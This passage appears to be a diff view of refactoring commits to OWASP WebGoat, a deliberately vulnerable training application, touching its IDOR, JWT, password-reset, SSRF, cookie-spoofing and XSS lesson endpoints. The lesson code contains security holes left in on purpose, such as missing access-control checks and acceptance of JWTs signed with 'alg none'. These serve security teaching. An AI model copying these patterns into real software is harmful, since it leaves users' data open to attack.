.output(currentUserProfile.profileToMap().toString())
|
.output(currentUserProfile.profileToMap().toString())
|
||||||
.build();
|
.build();
|
||||||
@ -97,7 +98,8 @@ public class IDOREditOtherProfiile extends AssignmentEndpoint {
|
|||||||
.feedback("idor.edit.profile.failure3")
|
.feedback("idor.edit.profile.failure3")
|
||||||
.output(currentUserProfile.profileToMap().toString())
|
.output(currentUserProfile.profileToMap().toString())
|
||||||
.build();
|
.build();
|
||||||
} else if (userSubmittedProfile.getUserId().equals(authUserId)) {
|
} else if (userSubmittedProfile.getUserId() != null
|
||||||
|
&& userSubmittedProfile.getUserId().equals(authUserId)) {
|
||||||
return failed(this).feedback("idor.edit.profile.failure4").build();
|
return failed(this).feedback("idor.edit.profile.failure4").build();
|
||||||
}
|
}
|
||||||
|
|
@ -15,7 +15,8 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
@ -15,16 +15,15 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.lessons.idor;
|
package org.owasp.webgoat.lessons.idor;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
import java.util.Map;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
@ -56,7 +55,6 @@ public class IDORViewOtherProfile extends AssignmentEndpoint {
|
|||||||
produces = {"application/json"})
|
produces = {"application/json"})
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
|
public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) {
|
||||||
Map<String, Object> details = new HashMap<>();
|
|
||||||
|
|
||||||
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
|
if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
|
||||||
// going to use session auth to view this one
|
// going to use session auth to view this one
|
||||||
@ -66,7 +64,8 @@ public class IDORViewOtherProfile extends AssignmentEndpoint {
|
|||||||
UserProfile requestedProfile = new UserProfile(userId);
|
UserProfile requestedProfile = new UserProfile(userId);
|
||||||
// secure code would ensure there was a horizontal access control check prior to dishing up
|
// secure code would ensure there was a horizontal access control check prior to dishing up
|
||||||
// the requested profile
|
// the requested profile
|
||||||
if (requestedProfile.getUserId().equals("2342388")) {
|
if (requestedProfile.getUserId() != null
|
||||||
|
&& requestedProfile.getUserId().equals("2342388")) {
|
||||||
return success(this)
|
return success(this)
|
||||||
.feedback("idor.view.profile.success")
|
.feedback("idor.view.profile.success")
|
||||||
.output(requestedProfile.profileToMap().toString())
|
.output(requestedProfile.profileToMap().toString())
|
||||||
|
@ -15,7 +15,8 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
@ -15,7 +15,8 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
@ -68,7 +69,7 @@ public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint {
|
|||||||
return failed(this).feedback("idor.view.own.profile.failure2").build();
|
return failed(this).feedback("idor.view.own.profile.failure2").build();
|
||||||
}
|
}
|
||||||
} catch (Exception ex) {
|
} catch (Exception ex) {
|
||||||
return failed(this).feedback("an error occurred with your request").build();
|
return failed(this).output("an error occurred with your request").build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -15,7 +15,8 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
@ -22,7 +22,12 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.jwt;
|
package org.owasp.webgoat.lessons.jwt;
|
||||||
|
|
||||||
import io.jsonwebtoken.*;
|
import io.jsonwebtoken.Claims;
|
||||||
|
import io.jsonwebtoken.JwsHeader;
|
||||||
|
import io.jsonwebtoken.Jwt;
|
||||||
|
import io.jsonwebtoken.JwtException;
|
||||||
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.SigningKeyResolverAdapter;
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
import java.sql.SQLException;
|
import java.sql.SQLException;
|
||||||
@ -31,34 +36,12 @@ import org.owasp.webgoat.container.LessonDataSource;
|
|||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.PathVariable;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* <pre>
|
|
||||||
* {
|
|
||||||
* "typ": "JWT",
|
|
||||||
* "kid": "webgoat_key",
|
|
||||||
* "alg": "HS256"
|
|
||||||
* }
|
|
||||||
* {
|
|
||||||
* "iss": "WebGoat Token Builder",
|
|
||||||
* "iat": 1524210904,
|
|
||||||
* "exp": 1618905304,
|
|
||||||
* "aud": "webgoat.org",
|
|
||||||
* "sub": "jerry@webgoat.com",
|
|
||||||
* "username": "Jerry",
|
|
||||||
* "Email": "jerry@webgoat.com",
|
|
||||||
* "Role": [
|
|
||||||
* "Cat"
|
|
||||||
* ]
|
|
||||||
* }
|
|
||||||
* </pre>
|
|
||||||
*
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({
|
@AssignmentHints({
|
||||||
"jwt-final-hint1",
|
"jwt-final-hint1",
|
||||||
|
@ -49,10 +49,6 @@ import org.springframework.web.bind.annotation.RequestHeader;
|
|||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({
|
@AssignmentHints({
|
||||||
"jwt-refresh-hint1",
|
"jwt-refresh-hint1",
|
||||||
@ -85,9 +81,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private Map<String, Object> createNewTokens(String user) {
|
private Map<String, Object> createNewTokens(String user) {
|
||||||
Map<String, Object> claims = new HashMap<>();
|
Map<String, Object> claims = Map.of("admin", "false", "user", user);
|
||||||
claims.put("admin", "false");
|
|
||||||
claims.put("user", user);
|
|
||||||
String token =
|
String token =
|
||||||
Jwts.builder()
|
Jwts.builder()
|
||||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||||
@ -114,6 +108,9 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
|||||||
Claims claims = (Claims) jwt.getBody();
|
Claims claims = (Claims) jwt.getBody();
|
||||||
String user = (String) claims.get("user");
|
String user = (String) claims.get("user");
|
||||||
if ("Tom".equals(user)) {
|
if ("Tom".equals(user)) {
|
||||||
|
if ("none".equals(jwt.getHeader().get("alg"))) {
|
||||||
|
return ok(success(this).feedback("jwt-refresh-alg-none").build());
|
||||||
|
}
|
||||||
return ok(success(this).build());
|
return ok(success(this).build());
|
||||||
}
|
}
|
||||||
return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
|
return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
|
||||||
|
@ -42,10 +42,6 @@ import org.springframework.web.bind.annotation.RequestParam;
|
|||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||||
|
@ -31,14 +31,14 @@ import io.jsonwebtoken.Jwt;
|
|||||||
import io.jsonwebtoken.JwtException;
|
import io.jsonwebtoken.JwtException;
|
||||||
import io.jsonwebtoken.Jwts;
|
import io.jsonwebtoken.Jwts;
|
||||||
import io.jsonwebtoken.impl.TextCodec;
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
|
import jakarta.annotation.PostConstruct;
|
||||||
|
import jakarta.servlet.http.Cookie;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
import java.time.Duration;
|
import java.time.Duration;
|
||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import javax.servlet.http.Cookie;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
@ -58,10 +58,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
|
||||||
* @author nbaars
|
|
||||||
* @since 4/23/17.
|
|
||||||
*/
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({
|
@AssignmentHints({
|
||||||
"jwt-change-token-hint1",
|
"jwt-change-token-hint1",
|
||||||
|
@ -22,10 +22,10 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.logging;
|
package org.owasp.webgoat.lessons.logging;
|
||||||
|
|
||||||
|
import jakarta.annotation.PostConstruct;
|
||||||
import java.nio.charset.StandardCharsets;
|
import java.nio.charset.StandardCharsets;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
import java.util.UUID;
|
import java.util.UUID;
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import org.apache.logging.log4j.util.Strings;
|
import org.apache.logging.log4j.util.Strings;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
|
@ -57,6 +57,7 @@ import org.springframework.web.servlet.ModelAndView;
|
|||||||
})
|
})
|
||||||
public class ResetLinkAssignment extends AssignmentEndpoint {
|
public class ResetLinkAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
private static final String VIEW_FORMATTER = "lessons/passwordreset/templates/%s.html";
|
||||||
static final String PASSWORD_TOM_9 =
|
static final String PASSWORD_TOM_9 =
|
||||||
"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
||||||
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
||||||
@ -65,15 +66,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
static List<String> resetLinks = new ArrayList<>();
|
static List<String> resetLinks = new ArrayList<>();
|
||||||
|
|
||||||
static final String TEMPLATE =
|
static final String TEMPLATE =
|
||||||
"Hi, you requested a password reset link, please use this <a target='_blank'"
|
"""
|
||||||
+ " href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your"
|
Hi, you requested a password reset link, please use this <a target='_blank'
|
||||||
+ " password.\n"
|
href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
|
||||||
+ " \n\n"
|
password.
|
||||||
+ "If you did not request this password change you can ignore this message.\n"
|
|
||||||
+ "If you have any comments or questions, please do not hesitate to reach us at"
|
If you did not request this password change you can ignore this message.
|
||||||
+ " support@webgoat-cloud.org\n\n"
|
If you have any comments or questions, please do not hesitate to reach us at
|
||||||
+ "Kind regards, \n"
|
support@webgoat-cloud.org
|
||||||
+ "Team WebGoat";
|
|
||||||
|
Kind regards,
|
||||||
|
Team WebGoat
|
||||||
|
""";
|
||||||
|
|
||||||
@PostMapping("/PasswordReset/reset/login")
|
@PostMapping("/PasswordReset/reset/login")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@ -98,20 +102,14 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
form.setResetLink(link);
|
form.setResetLink(link);
|
||||||
model.addAttribute("form", form);
|
model.addAttribute("form", form);
|
||||||
modelAndView.addObject("form", form);
|
modelAndView.addObject("form", form);
|
||||||
modelAndView.setViewName("password_reset"); // Display html page for changing password
|
modelAndView.setViewName(
|
||||||
|
VIEW_FORMATTER.formatted("password_reset")); // Display html page for changing password
|
||||||
} else {
|
} else {
|
||||||
modelAndView.setViewName("password_link_not_found");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
|
||||||
}
|
}
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping("/PasswordReset/reset/change-password")
|
|
||||||
public ModelAndView illegalCall() {
|
|
||||||
ModelAndView modelAndView = new ModelAndView();
|
|
||||||
modelAndView.setViewName("password_link_not_found");
|
|
||||||
return modelAndView;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/PasswordReset/reset/change-password")
|
@PostMapping("/PasswordReset/reset/change-password")
|
||||||
public ModelAndView changePassword(
|
public ModelAndView changePassword(
|
||||||
@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
|
@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
|
||||||
@ -120,17 +118,17 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
|||||||
bindingResult.rejectValue("password", "not.empty");
|
bindingResult.rejectValue("password", "not.empty");
|
||||||
}
|
}
|
||||||
if (bindingResult.hasErrors()) {
|
if (bindingResult.hasErrors()) {
|
||||||
modelAndView.setViewName("password_reset");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_reset"));
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
if (!resetLinks.contains(form.getResetLink())) {
|
if (!resetLinks.contains(form.getResetLink())) {
|
||||||
modelAndView.setViewName("password_link_not_found");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
if (checkIfLinkIsFromTom(form.getResetLink())) {
|
if (checkIfLinkIsFromTom(form.getResetLink())) {
|
||||||
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
|
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
|
||||||
}
|
}
|
||||||
modelAndView.setViewName("lessons/passwordreset/templates/success.html");
|
modelAndView.setViewName(VIEW_FORMATTER.formatted("success"));
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -22,8 +22,8 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.passwordreset;
|
package org.owasp.webgoat.lessons.passwordreset;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.util.UUID;
|
import java.util.UUID;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
package org.owasp.webgoat.lessons.passwordreset.resetlink;
|
package org.owasp.webgoat.lessons.passwordreset.resetlink;
|
||||||
|
|
||||||
import javax.validation.constraints.NotNull;
|
import jakarta.validation.constraints.NotNull;
|
||||||
import javax.validation.constraints.Size;
|
import jakarta.validation.constraints.Size;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.Setter;
|
import lombok.Setter;
|
||||||
|
|
||||||
|
@ -1,5 +1,7 @@
|
|||||||
package org.owasp.webgoat.lessons.pathtraversal;
|
package org.owasp.webgoat.lessons.pathtraversal;
|
||||||
|
|
||||||
|
import jakarta.annotation.PostConstruct;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileOutputStream;
|
import java.io.FileOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@ -8,8 +10,6 @@ import java.net.URI;
|
|||||||
import java.net.URISyntaxException;
|
import java.net.URISyntaxException;
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.apache.commons.lang3.RandomUtils;
|
import org.apache.commons.lang3.RandomUtils;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
|
@ -15,7 +15,8 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
@ -15,18 +15,20 @@
|
|||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
* 02111-1307, USA.
|
* 02111-1307, USA.
|
||||||
*
|
*
|
||||||
* Getting Source ==============
|
* Getting Source
|
||||||
|
* ==============
|
||||||
*
|
*
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.lessons.spoofcookie;
|
package org.owasp.webgoat.lessons.spoofcookie;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.Cookie;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import javax.servlet.http.Cookie;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec;
|
import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec;
|
||||||
import org.springframework.web.bind.UnsatisfiedServletRequestParameterException;
|
import org.springframework.web.bind.UnsatisfiedServletRequestParameterException;
|
||||||
@ -44,6 +46,7 @@ import org.springframework.web.bind.annotation.RestController;
|
|||||||
*
|
*
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
@AssignmentHints({"spoofcookie.hint1", "spoofcookie.hint2", "spoofcookie.hint3"})
|
||||||
@RestController
|
@RestController
|
||||||
public class SpoofCookieAssignment extends AssignmentEndpoint {
|
public class SpoofCookieAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
|
@ -22,11 +22,11 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.sqlinjection.introduction;
|
package org.owasp.webgoat.lessons.sqlinjection.introduction;
|
||||||
|
|
||||||
|
import jakarta.annotation.PostConstruct;
|
||||||
import java.sql.Connection;
|
import java.sql.Connection;
|
||||||
import java.sql.ResultSet;
|
import java.sql.ResultSet;
|
||||||
import java.sql.SQLException;
|
import java.sql.SQLException;
|
||||||
import java.sql.Statement;
|
import java.sql.Statement;
|
||||||
import javax.annotation.PostConstruct;
|
|
||||||
import org.owasp.webgoat.container.LessonDataSource;
|
import org.owasp.webgoat.container.LessonDataSource;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
|
@ -22,9 +22,9 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.sqlinjection.introduction;
|
package org.owasp.webgoat.lessons.sqlinjection.introduction;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.sql.*;
|
import java.sql.*;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.owasp.webgoat.container.LessonDataSource;
|
import org.owasp.webgoat.container.LessonDataSource;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||||
|
@ -44,12 +44,12 @@ public class SSRFTask1 extends AssignmentEndpoint {
|
|||||||
try {
|
try {
|
||||||
StringBuilder html = new StringBuilder();
|
StringBuilder html = new StringBuilder();
|
||||||
|
|
||||||
if (url.matches("images/tom.png")) {
|
if (url.matches("images/tom\\.png")) {
|
||||||
html.append(
|
html.append(
|
||||||
"<img class=\"image\" alt=\"Tom\" src=\"images/tom.png\" width=\"25%\""
|
"<img class=\"image\" alt=\"Tom\" src=\"images/tom.png\" width=\"25%\""
|
||||||
+ " height=\"25%\">");
|
+ " height=\"25%\">");
|
||||||
return failed(this).feedback("ssrf.tom").output(html.toString()).build();
|
return failed(this).feedback("ssrf.tom").output(html.toString()).build();
|
||||||
} else if (url.matches("images/jerry.png")) {
|
} else if (url.matches("images/jerry\\.png")) {
|
||||||
html.append(
|
html.append(
|
||||||
"<img class=\"image\" alt=\"Jerry\" src=\"images/jerry.png\" width=\"25%\""
|
"<img class=\"image\" alt=\"Jerry\" src=\"images/jerry.png\" width=\"25%\""
|
||||||
+ " height=\"25%\">");
|
+ " height=\"25%\">");
|
||||||
|
@ -46,7 +46,7 @@ public class SSRFTask2 extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
protected AttackResult furBall(String url) {
|
protected AttackResult furBall(String url) {
|
||||||
if (url.matches("http://ifconfig.pro")) {
|
if (url.matches("http://ifconfig\\.pro")) {
|
||||||
String html;
|
String html;
|
||||||
try (InputStream in = new URL(url).openStream()) {
|
try (InputStream in = new URL(url).openStream()) {
|
||||||
html =
|
html =
|
||||||
|
@ -22,9 +22,9 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.webwolfintroduction;
|
package org.owasp.webgoat.lessons.webwolfintroduction;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.net.URI;
|
import java.net.URI;
|
||||||
import java.net.URISyntaxException;
|
import java.net.URISyntaxException;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
|
@ -22,8 +22,8 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.lessons.xss;
|
package org.owasp.webgoat.lessons.xss;
|
||||||
|
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import java.security.SecureRandom;
|
import java.security.SecureRandom;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.container.session.UserSessionData;
|
import org.owasp.webgoat.container.session.UserSessionData;
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user